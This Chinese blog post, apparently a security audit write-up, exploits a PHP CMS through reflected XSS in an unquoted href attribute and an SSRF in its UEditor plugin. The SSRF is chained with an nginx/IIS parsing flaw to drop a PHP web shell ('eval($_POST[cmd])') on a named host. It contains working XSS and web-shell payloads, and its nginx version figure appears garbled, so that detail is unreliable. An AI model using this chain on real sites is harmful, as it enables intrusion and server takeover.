XSS
路径:/plugins/template/login.php

url的值:
$url =conf('runmode')==1 ? $path.'index.php?location=user&backurl='.$backurl.'&act=' : $path.'?location=user&backurl='.$backurl.'&act=' ;
这里的$backurl 是我们可控的:
$backurl=getform('backurl','get');
另外还要注意到,这里 href 没有用双引号包裹住$url,这就导致我们只要用空格就能分离属性,构造出我们想要的属性,可以 F12 看一下源码:

我们要达到的目的:
<a href=/?location=user&backurl=test onmouseover=javascript:alert(1111) test=&act=login>
$backurl=test onmouseover=javascript:alert(1111) test=
弹框成功:

ssrf+中间件解析
漏洞文件:
/plugins/ueditor/php/controller.php
漏洞代码:

可以看到这一段接收用户输入的 url ,另外还有两个参数:

用户输入 upfolder 参数,为上传文件的路径,另外还有 action 要为 catchimage
我们可控的两个参数就是 action 和 upfolder,看一下对这两个参数有什么具体的过滤措施:
-
safeword():
函数过滤了其他符号,仅保留字母和数字 -
safe_url():

这里对url,保留输入的url中的a-zA-Z0-9,.:=@?_\/\s]
然后再看看传输文件的函数 down_url(),


重点看对 url 的过滤,函数没有对 ip和域名进行过滤,另外文件名和文件后缀来自于我们输入的 url ,保存的文件没有进行重命名,只是要求文件后缀不能为空,还有文件后缀必须在白名单内,看一下 conf()

可以看到我们不能看到合法的文件后缀,但是,可以看到与 controller.php 同目录下有个 config.json 文件,里面有一项:
"fileAllowFiles": [".png", ".jpg", ".jpeg", ".gif", ".bmp", ".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg", ".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid", ".rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml"],
简单地看了一下,一些危险文件后缀都被过滤掉了,于是直接制作图片木马(虽然手段很老了),文件内容:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>,木马制作好放到自己的服务器上,然后在访问 contorller.php 发送请求,

这时候再访问:http://www.gohosts.com/upload/file/2.jpg/.php
然后就可以在/upload/file 路径下看到生成了一个 shell.php

查看 shell.php:

可以看到写入 shell 成功。这里利用到了 nginx <8.03 和 IIS 7.0/7.5 中间件的解析漏洞。
本文深入探讨了XSS跨站脚本攻击与SSRF服务器侧请求伪造两种网络安全漏洞,详细分析了其在实际应用中的表现形式及利用方式。通过具体案例,展示了如何通过构造恶意脚本和利用中间件解析漏洞,实现对目标系统的攻击。
729

被折叠的 条评论
为什么被折叠?



